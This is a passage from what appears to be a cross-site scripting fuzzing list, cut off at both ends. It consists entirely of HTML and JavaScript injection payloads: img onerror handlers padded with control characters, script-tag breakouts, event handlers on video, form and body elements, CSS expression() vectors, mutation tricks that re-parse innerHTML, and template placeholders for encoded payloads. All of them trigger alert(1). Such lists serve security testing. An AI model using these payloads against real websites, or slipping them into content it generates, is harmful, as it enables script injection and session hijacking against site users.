)</script>\r\n`\"'><img src=xxx:x onerror\\x0B=javascript:alert(1)>\r\n`\"'><img src=xxx:x onerror\\x00=javascript:alert(1)>\r\n`\"'><img src=xxx:x onerror\\x0C=javascript:alert(1)>\r\n`\"'><img src=xxx:x onerror\\x0D=javascript:alert(1)>\r\n`\"'><img src=xxx:x onerror\\x20=javascript:alert(1)>\r\n`\"'><img src=xxx:x onerror\\x0A=javascript:alert(1)>\r\n`\"'><img src=xxx:x onerror\\x09=javascript:alert(1)>\r\n<script>javascript:alert(1)<\\x00/script>\r\n</ScrIpt><script>javascript:alert(1)<\\x00/script>\r\n\"><script>javascript:alert(1)<\\x00/script>\r\n</ScrIpt><script>javascript:alert(1)<\\x00/script>\r\n'><script>javascript:alert(1)<\\x00/script>\r\n</ScrIpt><script>javascript:alert(1)<\\x00/script>\r\n<img src=# onerror\\x3D\"javascript:alert(1)\" >\r\n\"><img src=# onerror\\x3D\"javascript:alert(1)\" >\r\n'><img src=# onerror\\x3D\"javascript:alert(1)\" >\r\n<video poster=javascript:javascript:alert(1)//\r\n\"><video poster=javascript:javascript:alert(1)//\r\n'><video poster=javascript:javascript:alert(1)//\r\n<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n\"><body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n'><body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X\r\n\"><form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X\r\n'><form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X\r\n<video><source onerror=\"javascript:javascript:alert(1)\">\r\n\"><video><source onerror=\"javascript:javascript:alert(1)\">\r\n'><video><source onerror=\"javascript:javascript:alert(1)\">\r\n<video onerror=\"javascript:javascript:alert(1)\"><source>\r\n\"><video onerror=\"javascript:javascript:alert(1)\"><source>\r\n'><video onerror=\"javascript:javascript:alert(1)\"><source>\r\n<form><button formaction=\"javascript:javascript:alert(1)\">X\r\n\"><form><button formaction=\"javascript:javascript:alert(1)\">X\r\n'><form><button formaction=\"javascript:javascript:alert(1)\">X\r\n<body oninput=javascript:alert(1)><input autofocus>\r\n\"><body oninput=javascript:alert(1)><input autofocus>\r\n'><body oninput=javascript:alert(1)><input autofocus>\r\n<math href=\"javascript:javascript:alert(1)\">CLICKME</math>  <math> <maction actiontype=\"statusline#http://127.0.0.1:3555/xss_serve_payloads/X.html\" xlink:href=\"javascript:javascript:alert(1)\">CLICKME</maction> </math>\r\n\"><math href=\"javascript:javascript:alert(1)\">CLICKME</math>  <math> <maction actiontype=\"statusline#http://127.0.0.1:3555/xss_serve_payloads/X.html\" xlink:href=\"javascript:javascript:alert(1)\">CLICKME</maction> </math>\r\n'><math href=\"javascript:javascript:alert(1)\">CLICKME</math>  <math> <maction actiontype=\"statusline#http://127.0.0.1:3555/xss_serve_payloads/X.html\" xlink:href=\"javascript:javascript:alert(1)\">CLICKME</maction> </math>\r\n<frameset onload=javascript:alert(1)>\r\n\"><frameset onload=javascript:alert(1)>\r\n'><frameset onload=javascript:alert(1)>\r\n<table background=\"javascript:javascript:alert(1)\">\r\n\"><table background=\"javascript:javascript:alert(1)\">\r\n'><table background=\"javascript:javascript:alert(1)\">\r\n<!--<img src=\"--><img src=x onerror=javascript:alert(1)//\">\r\n\"><!--<img src=\"--><img src=x onerror=javascript:alert(1)//\">\r\n'><!--<img src=\"--><img src=x onerror=javascript:alert(1)//\">\r\n<comment><img src=\"</comment><img src=x onerror=javascript:alert(1))//\">\r\n\"><comment><img src=\"</comment><img src=x onerror=javascript:alert(1))//\">\r\n'><comment><img src=\"</comment><img src=x onerror=javascript:alert(1))//\">\r\n<![><img src=\"]><img src=x onerror=javascript:alert(1)//\">\r\n\"><![><img src=\"]><img src=x onerror=javascript:alert(1)//\">\r\n'><![><img src=\"]><img src=x onerror=javascript:alert(1)//\">\r\n<style><img src=\"</style><img src=x onerror=javascript:alert(1)//\">\r\n\"><style><img src=\"</style><img src=x onerror=javascript:alert(1)//\">\r\n'><style><img src=\"</style><img src=x onerror=javascript:alert(1)//\">\r\n<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>\r\n\"><li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>\r\n'><li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>\r\n<head><base href=\"javascript://\"></head><body><a href=\"/. /,javascript:alert(1)//#\">X</a></body>\r\n\"><head><base href=\"javascript://\"></head><body><a href=\"/. /,javascript:alert(1)//#\">X</a></body>\r\n'><head><base href=\"javascript://\"></head><body><a href=\"/. /,javascript:alert(1)//#\">X</a></body>\r\n<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>\r\n\"><SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>\r\n'><SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>\r\n<object data=\"data:text/html;base64,%(base64)s\">\r\n\"><object data=\"data:text/html;base64,%(base64)s\">\r\n'><object data=\"data:text/html;base64,%(base64)s\">\r\n<embed src=\"data:text/html;base64,%(base64)s\">\r\n\"><embed src=\"data:text/html;base64,%(base64)s\">\r\n'><embed src=\"data:text/html;base64,%(base64)s\">\r\n<b <script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>0\r\n<div id=\"div1\"><input value=\"``onmouseover=javascript:alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n\"><div id=\"div1\"><input value=\"``onmouseover=javascript:alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n'><div id=\"div1\"><input value=\"``onmouseover=javascript:alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n<x '=\"foo\"><x foo='><img src=x onerror=javascript:alert(1)//'>\r\n\"><x '=\"foo\"><x foo='><img src=x onerror=javascript:alert(1)//'>\r\n'><x '=\"foo\"><x foo='><img src=x onerror=javascript:alert(1)//'>\r\n<embed src=\"javascript:alert(1)\">\r\n\"><embed src=\"javascript:alert(1)\">\r\n'><embed src=\"javascript:alert(1)\">\r\n<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x\r\n\"><div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x\r\n'><div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x\r\n<? foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n\"><? foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n'><? foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n<! foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n\"><! foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n'><! foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n</ foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n\"></ foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n'></ foo=\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n<? foo=\"><x foo='?><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>'>\">\r\n\"><? foo=\"><x foo='?><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>'>\">\r\n'><? foo=\"><x foo='?><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>'>\">\r\n<! foo=\"[[[Inception]]\"><x foo=\"]foo><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n\"><! foo=\"[[[Inception]]\"><x foo=\"]foo><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n'><! foo=\"[[[Inception]]\"><x foo=\"]foo><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n<% foo><x foo=\"%><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n\"><% foo><x foo=\"%><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n'><% foo><x foo=\"%><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\">\r\n<div id=d><x xmlns=\"><iframe onload=javascript:alert(1)\"></div> <script>d.innerHTML=d.innerHTML</script>\r\n\"><div id=d><x xmlns=\"><iframe onload=javascript:alert(1)\"></div> <script>d.innerHTML=d.innerHTML</script>\r\n'><div id=d><x xmlns=\"><iframe onload=javascript:alert(1)\"></div> <script>d.innerHTML=d.innerHTML</script>\r\n<img \\x00src=x onerror=\"alert(1)\">\r\n\"><img \\x00src=x onerror=\"alert(1)\">\r\n'><img \\x00src=x onerror=\"alert(1)\">\r\n<img \\x47src=x onerror=\"javascript:alert(1)\">\r\n\"><img \\x47src=x onerror=\"javascript:alert(1)\">\r\n'><img \\x47src=x onerror=\"javascript:alert(1)\">\r\n<img \\x11src=x onerror=\"javascript:alert(1)\">\r\n\"><img \\x11src=x onerror=\"javascript:alert(1)\">\r\n'><img \\x11src=x onerror=\"javascript:alert(1)\">\r\n<img \\x12src=x onerror=\"javascript:alert(1)\">\r\n\"><img \\x12src=x onerror=\"javascript:alert(1)\">\r\n'><img \\x12src=x onerror=\"javascript:alert(1)\">\r\n<img\\x47src=x onerror=\"javascript:alert(1)\">\r\n\"><img\\x47src=x onerror=\"javascript:alert(1)\">\r\n'><img\\x47src=x onerror=\"javascript:alert(1)\">\r\n<img\\x10src=x onerror=\"javascript:alert(1)\">\r\n\"><img\\x10src=x onerror=\"javascript:alert(1)\">\r\n'><img\\x10src=x onerror=\"javascript:alert(1)\">\r\n<img\\x13src=x onerror=\"javascript:alert(1)\">\r\n\"><img\\x13src=x onerror=\"javascript:alert(1)\">\r\n'><img\\x13src=x onerror=\"javascript:alert(1)\">\r\n<img\\x32src=x onerror=\"javascript:alert(1)\">\r\n\"><img\\x32src=x onerror=\"javascript:alert(1)\">\r\n'><img\\x32src=x onerror=\"javascript:alert(1)\">\r\n<img\\x11src=x onerror=\"javascript:alert(1)\">\r\n\"><img\\x11src=x onerror=\"javascript:alert(1)\">\r\n'><img\\x11src=x onerror=\"javascript:alert(1)\">\r\n<img \\x34src=x onerror=\"javascript:alert(1)\">\r\n\"><img \\x34src=x onerror=\"javascript:alert(1)\">\r\n'><img \\x34src=x onerror=\"javascript:alert(1)\">\r\n<img \\x39src=x onerror=\"javascript:alert(1)\">\r\n\"><img \\x39src=x onerror=\"javascript:alert(1)\">\r\n'><img \\x39src=x onerror=\"javascript:alert(1)\">\r\n<img \\x00src=x onerror=\"javascript:alert(1)\">\r\n\"><img \\x00src=x onerror=\"javascript:alert(1)\">\r\n'><img \\x00src=x onerror=\"javascript:alert(1)\">\r\n<img src\\x09=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x09=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x09=x onerror=\"javascript:alert(1)\">\r\n<img src\\x10=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x10=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x10=x onerror=\"javascript:alert(1)\">\r\n<img src\\x13=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x13=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x13=x onerror=\"javascript:alert(1)\">\r\n<img src\\x32=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x32=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x32=x onerror=\"javascript:alert(1)\">\r\n<img src\\x12=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x12=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x12=x onerror=\"javascript:alert(1)\">\r\n<img src\\x11=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x11=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x11=x onerror=\"javascript:alert(1)\">\r\n<img src\\x00=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x00=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x00=x onerror=\"javascript:alert(1)\">\r\n<img src\\x47=x onerror=\"javascript:alert(1)\">\r\n\"><img src\\x47=x onerror=\"javascript:alert(1)\">\r\n'><img src\\x47=x onerror=\"javascript:alert(1)\">\r\n<img src=x\\x09onerror=\"javascript:alert(1)\">\r\n\"><img src=x\\x09onerror=\"javascript:alert(1)\">\r\n'><img src=x\\x09onerror=\"javascript:alert(1)\">\r\n<img src=x\\x10onerror=\"javascript:alert(1)\">\r\n\"><img src=x\\x10onerror=\"javascript:alert(1)\">\r\n'><img src=x\\x10onerror=\"javascript:alert(1)\">\r\n<img src=x\\x11onerror=\"javascript:alert(1)\">\r\n\"><img src=x\\x11onerror=\"javascript:alert(1)\">\r\n'><img src=x\\x11onerror=\"javascript:alert(1)\">\r\n<img src=x\\x12onerror=\"javascript:alert(1)\">\r\n\"><img src=x\\x12onerror=\"javascript:alert(1)\">\r\n'><img src=x\\x12onerror=\"javascript:alert(1)\">\r\n<img src=x\\x13onerror=\"javascript:alert(1)\">\r\n\"><img src=x\\x13onerror=\"javascript:alert(1)\">\r\n'><img src=x\\x13onerror=\"javascript:alert(1)\">\r\n<img[a][b][c]src[d]=x[e]onerror=[f]\"alert(1)\">\r\n\"><img[a][b][c]src[d]=x[e]onerror=[f]\"alert(1)\">\r\n'><img[a][b][c]src[d]=x[e]onerror=[f]\"alert(1)\">\r\n<img src=x onerror=\\x09\"javascript:alert(1)\">\r\n\"><img src=x onerror=\\x09\"javascript:alert(1)\">\r\n'><img src=x onerror=\\x09\"javascript:alert(1)\">\r\n<img src=x onerror=\\x10\"javascript:alert(1)\">\r\n\"><img src=x onerror=\\x10\"javascript:alert(1)\">\r\n'><img src=x onerror=\\x10\"javascript:alert(1)\">\r\n<img src=x onerror=\\x11\"javascript:alert(1)\">\r\n\"><img src=x onerror=\\x11\"javascript:alert(1)\">\r\n'><img src=x onerror=\\x11\"javascript:alert(1)\">\r\n<img src=x onerror=\\x12\"javascript:alert(1)\">\r\n\"><img src=x onerror=\\x12\"javascript:alert(1)\">\r\n'><img src=x onerror=\\x12\"javascript:alert(1)\">\r\n<img src=x onerror=\\x32\"javascript:alert(1)\">\r\n\"><img src=x onerror=\\x32\"javascript:alert(1)\">\r\n'><img src=x onerror=\\x32\"javascript:alert(1)\">\r\n<img src=x onerror=\\x00\"javascript:alert(1)\">\r\n\"><img src=x onerror=\\x00\"javascript:alert(1)\">\r\n'><img src=x onerror=\\x00\"javascript:alert(1)\">\r\n<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>X</a>\r\n\"><a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>X</a>\r\n'><a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>X</a>\r\n<img src=\"x` `<script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\"` `>\r\n\"><img src=\"x` `<script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\"` `>\r\n'><img src=\"x` `<script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\"` `>\r\n<img src onerror /\" '\"= alt=javascript:alert(1)//\">\r\n\"><img src onerror /\" '\"= alt=javascript:alert(1)//\">\r\n'><img src onerror /\" '\"= alt=javascript:alert(1)//\">\r\n<title onpropertychange=javascript:alert(1)></title><title title=>\r\n\"><title onpropertychange=javascript:alert(1)></title><title title=>\r\n'><title onpropertychange=javascript:alert(1)></title><title title=>\r\n<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=javascript:alert(1)></a>\">\r\n\"><a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=javascript:alert(1)></a>\">\r\n'><a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=javascript:alert(1)></a>\">\r\n<!--[if]><script>javascript:alert(1)</script -->\r\n\"><!--[if]><script>javascript:alert(1)</script -->\r\n'><!--[if]><script>javascript:alert(1)</script -->\r\n<!--[if<img src=x onerror=javascript:alert(1)//]> -->\r\n\"><!--[if<img src=x onerror=javascript:alert(1)//]> -->\r\n'><!--[if<img src=x onerror=javascript:alert(1)//]> -->\r\n<script src=\"/\\%(jscript)s\"></script>\r\n\"><script src=\"/\\%(jscript)s\"></script>\r\n'><script src=\"/\\%(jscript)s\"></script>\r\n<script src=\"\\\\%(jscript)s\"></script>\r\n\"><script src=\"\\\\%(jscript)s\"></script>\r\n'><script src=\"\\\\%(jscript)s\"></script>\r\n<object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object> <object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"javascript:alert(1)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>\r\n\"><object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object> <object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"javascript:alert(1)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>\r\n'><object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object> <object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"javascript:alert(1)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>\r\n<a style=\"-o-link:'javascript:javascript:alert(1)';-o-link-source:current\">X\r\n\"><a style=\"-o-link:'javascript:javascript:alert(1)';-o-link-source:current\">X\r\n'><a style=\"-o-link:'javascript:javascript:alert(1)';-o-link-source:current\">X\r\n<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>\r\n\"><style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>\r\n'><style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>\r\n<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d\r\n\"><link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d\r\n'><link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d\r\n<style>@import \"data:,*%7bx:expression(javascript:alert(1))%7D\";</style>\r\n\"><style>@import \"data:,*%7bx:expression(javascript:alert(1))%7D\";</style>\r\n'><style>@import \"data:,*%7bx:expression(javascript:alert(1))%7D\";</style>\r\n<a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"javascript:alert(1);\">X</a></a><a href=\"javascript:javascript:alert(1)\">X</a><style>*[{}@import'%(css)s?]</style>X\r\n\"><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"javascript:alert(1);\">X</a></a><a href=\"javascript:javascript:alert(1)\">X</a><style>*[{}@import'%(css)s?]</style>X\r\n'><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"javascript:alert(1);\">X</a></a><a href=\"javascript:javascript:alert(1)\">X</a><style>*[{}@import'%(css)s?]</style>X\r\n<div style=\"font-family:'foo&#10;;color:red;';\">X\r\n\"><div style=\"font-family:'foo&#10;;color:red;';\">X\r\n'><div style=\"font-family:'foo&#10;;color:red;';\">X\r\n<div style=\"font-family:foo}color=red;\">X\r\n\"><div style=\"font-family:foo}color=red;\">X\r\n'><div style=\"font-family:foo}color=red;\">X\r\n<// style=x:expression\\28javascript:alert(1)\\29>\r\n\"><// style=x:expression\\28javascript:alert(1)\\29>\r\n'><// style=x:expression\\28javascript:alert(1)\\29>\r\n<style>*{x:??????????(javascript:alert(1))}</style>\r\n\"><style>*{x:??????????(javascript:alert(1))}</style>\r\n'><style>*{x:??????????(javascript:alert(1))}</style>\r\n<div style=content:url(%(svg)s)></div>\r\n\"><div style=content:url(%(svg)s)></div>\r\n'><div style=content:url(%(svg)s)></div>\r\n<div style=\"list-style:url(http://foo.f)\\20url(javascript:javascript:alert(1));\">X\r\n\"><div style=\"list-style:url(http://foo.f)\\20url(javascript:javascript:alert(1));\">X\r\n'><div style=\"list-style:url(http://foo.f)\\20url(javascript:javascript:alert(1));\">X\r\n<div id=d><div style=\"font-family:'sans\\27\\3B color\\3Ared\\3B'\">X</div></div> <script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>\r\n\"><div id=d><div style=\"font-family:'sans\\27\\3B color\\3Ared\\3B'\">X</div></div> <script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>\r\n'><div id=d><div style=\"font-family:'sans\\27\\3B color\\3Ared\\3B'\">X</div></div> <script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>\r\n<div style=\"background:url(/f#&#127;oo/;color:red/*/foo.jpg);\">X\r\n\"><div style=\"background:url(/f#&#127;oo/;color:red/*/foo.jpg);\">X\r\n'><div style=\"background:url(/f#&#127;oo/;color:red/*/foo.jpg);\">X\r\n<div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n\"><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n'><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n<div id=\"x\">X</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>\r\n\"><div id=\"x\">X</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>\r\n'><div id=\"x\">X</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>\r\n<x style=\"background:url('x&#1;;color:red;/*')\">X</x>\r\n\"><x style=\"background:url('x&#1;;color:red;/*')\">X</x>\r\n'><x style=\"background:url('x&#1;;color:red;/*')\">X</x>\r\n<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\r\n</ScrIpt><script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\r\n\"><script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\r\n</ScrIpt><script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\r\n'><script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\r\n</ScrIpt><script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\r\n<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\r\n</ScrIpt><script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\r\n\"><script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\r\n</ScrIpt><script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\r\n'><script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\r\n</ScrIpt><script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\r\n<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>\r\n</ScrIpt><script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>\r\n\"><script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>\r\n</ScrIpt><script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>\r\n'><script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>\r\n</ScrIpt><script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>\r\n<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>\r\n</ScrIpt><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>\r\n\"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>\r\n</ScrIpt><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>\r\n'><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>\r\n</ScrIpt><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>\r\n<meta 